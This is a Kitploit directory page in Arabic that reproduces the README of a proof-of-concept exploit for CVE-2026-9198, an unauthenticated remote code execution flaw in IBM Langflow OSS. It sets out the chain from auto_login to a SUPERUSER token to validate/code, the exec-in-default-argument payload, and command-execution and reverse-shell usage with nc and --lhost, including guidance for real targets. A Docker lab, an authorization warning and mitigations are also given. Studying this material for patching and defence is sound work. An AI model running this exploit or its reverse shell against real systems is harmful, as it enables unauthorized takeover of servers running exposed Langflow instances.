Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
EXPLOIT-CVE-2026-9198 — إثبات مفهوم لاستغلال CVE-2026-9198، وهو ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) غير مصادق عليها في IBM Langflow OSS، عبر ربط نقاط النهاية auto_login و validate/code. يتضمن بيئة مختبر Docker قابلة للاستغلال للاختبار المصرح به والأغراض التعليمية. | Kitploit
أدوات/GitHubGitHub/joaovicdev/exploit-cve-2026-9198
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمرمختبرات وتدريب عملي
GitHubjoaovicdev/exploit-cve-2026-9198

EXPLOIT-CVE-2026-9198

إثبات مفهوم لاستغلال CVE-2026-9198، وهو ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) غير مصادق عليها في IBM Langflow OSS، عبر ربط نقاط النهاية auto_login و validate/code. يتضمن بيئة مختبر Docker قابلة للاستغلال للاختبار المصرح به والأغراض التعليمية.

عرض المستودع
منذ 5س 37دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-9198 — IBM Langflow OSS ثغرة تنفيذ التعليمات البرمجية عن بُعد غير المصادق عليها

إثبات مفهوم الاستغلال ومختبر Docker متكامل لـ CVE-2026-9198، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد غير مصادق عليها في IBM Langflow OSS.

يستغل هذا الكود نقطتي نهاية — auto_login (التي تمنح رمز SUPERUSER لأي شخص) وvalidate/code (التي تشغّل Python يقدمه المهاجم) — للحصول على تنفيذ تعليمات برمجية كمستخدم خدمة Langflow، بدون الحاجة إلى أي بيانات اعتماد.

[!WARNING] للاستخدام في الاختبارات الأمنية المصرح بها والتعليم فقط. قم بتشغيل هذا حصريًا ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. مختبر Docker في هذا المستودع ضعيف عمدًا — أبقِه على جهازك ولا تعرضه أبدًا للإنترنت. أنت مسؤول عن كيفية استخدامك لهذا الكود.

الثغرة

CVECVE-2026-9198
المنتجIBM Langflow OSS
الإصدارات المتأثرة1.0.0 – 1.10.0
تم الإصلاح في1.10.1
CVSS 3.19.8 حرجة — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-94 — تحكم غير سليم في توليد التعليمات البرمجية ('حقن تعليمات برمجية')
CISA KEVنعم — معروف استغلاله في البرية

كيف يعمل

الاستغلال عبارة عن سلسلة من خطوتين لا تتطلب أي مصادقة:

1. الحصول على رمز SUPERUSER — GET /api/v1/auto_login

يأتي Langflow مع تفعيل LANGFLOW_AUTO_LOGIN افتراضيًا. عندما يكون مفعلاً، تصدر نقطة نهاية auto_login رمز JWT طويل الأمد من نوع SUPERUSER لأي متصل، دون طلب أي بيانات اعتماد:

root@kitploit:~
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }

2. تنفيذ التعليمات البرمجية — POST /api/v1/validate/code

منذ الإصدار 1.3.0 تتطلب هذه النقطة مصادقة (كان ذلك هو الإصلاح لـ CVE-2025-3248) — لكن الخطوة 1 منحتنا للتو رمز SUPERUSER صالحًا، لذا فإن البوابة عديمة الفائدة. داخليًا تستدعي النقطة validate_code()، التي تترجم وتنفذ كل تعريف دالة تستقبله:

root@kitploit:~
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        try:
            exec(code_obj)                       # <-- يشغّل تعريف الدالة
        except Exception as e:
            errors["function"]["errors"].append(str(e))   # <-- يتسرب الإخراج إلى هنا

تنفيذ عبارة def يقيّم قيم الوسائط الافتراضية الخاصة بها. لذا فإن دالة وسيطها الافتراضي هو exec("...") تشغّل تعليمات برمجية عشوائية في اللحظة التي يتم التحقق منها — ولا يتم حتى استدعاء الدالة. أي استثناء يُثار يتم التقاطه وإرجاعه في الاستجابة تحت function.errors، وهو ما يستخدمه الاستغلال لقراءة إخراج الأوامر عبر HTTP.

شكل الحمولة (يتم تغليف الأمر بـ base64 لتحمل أي علامات اقتباس):

root@kitploit:~
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
    pass

المحتويات

root@kitploit:~
.
├── exploit.py           # إثبات المفهوم (تنفيذ الأوامر + قشرة عكسية)
├── docker-compose.yml   # مختبر ضعيف: langflow 1.10.0 + postgres
├── requirements.txt     # requests
└── README.md

المتطلبات

  • Docker + Docker Compose (للمختبر)
  • Python 3.8+ وrequests (pip install -r requirements.txt)

تشغيل المختبر

root@kitploit:~
docker compose up -d

يستغرق Langflow دقيقة أو دقيقتين ليصبح جاهزًا عند أول تشغيل. انتظر حتى يستجيب:

root@kitploit:~
curl -fs http://127.0.0.1:9999/health && echo OK

الخدمة مرتبطة بـ 127.0.0.1:9999 عن قصد — لا يمكن الوصول إليها من شبكتك.

تشغيل الاستغلال

قم بتثبيت التبعية، ثم وجّه الاستغلال إلى المختبر.

root@kitploit:~
pip install -r requirements.txt

تنفيذ الأوامر

root@kitploit:~
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"

مثال على الإخراج:

root@kitploit:~
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------

أي أمر يعمل: --cmd "uname -a && whoami && cat /etc/os-release".

قشرة عكسية

ابدأ مستمعًا:

root@kitploit:~
nc -lvnp 4444

ثم أطلق الحمولة. عندما يعمل الهدف في Docker على نفس الجهاز، تصل الحاوية إلى مضيفك عبر host.docker.internal (Docker Desktop)؛ على هدف حقيقي استخدم عنوان IP القابل للتوجيه:

root@kitploit:~
python3 exploit.py --url http://127.0.0.1:9999 \
    --reverse-shell --lhost host.docker.internal --lport 4444

ستحصل على /bin/sh تفاعلي على المستمع الخاص بك كمستخدم langflow.

الخيارات

العلمالوصف
--urlعنوان URL الأساسي للهدف (مطلوب)
--cmdالأمر الذي سيتم تشغيله (الافتراضي id)
--reverse-shellتسليم قشرة عكسية بدلاً من تشغيل --cmd
--lhost / --lportمضيف ومنفذ استدعاء القشرة العكسية
--tokenاستخدام رمز bearer مقدم وتخطي auto_login
--timeoutمهلة كل طلب، بالثواني (الافتراضي 15)
--insecureتخطي التحقق من TLS (لأهداف https)

التخفيف

  • قم بالترقية إلى Langflow ≥ 1.10.1.
  • عطّل تسجيل الدخول التلقائي في أي شيء يمكن الوصول إليه عبر الشبكة: LANGFLOW_AUTO_LOGIN=false، وعيّن بيانات اعتماد حقيقية للمستخدم الفائق.
  • لا تعرض Langflow مباشرة للإنترنت أبدًا؛ ضعه خلف مصادقة وضوابط شبكة.

المراجع

  • NVD — CVE-2026-9198
  • IBM Security Bulletin
  • CISA Known Exploited Vulnerabilities Catalog
  • السابق المرتبط: CVE-2025-3248 (حقن التعليمات البرمجية في validate/code الذي يبني عليه هذا)
تنزيل الأداة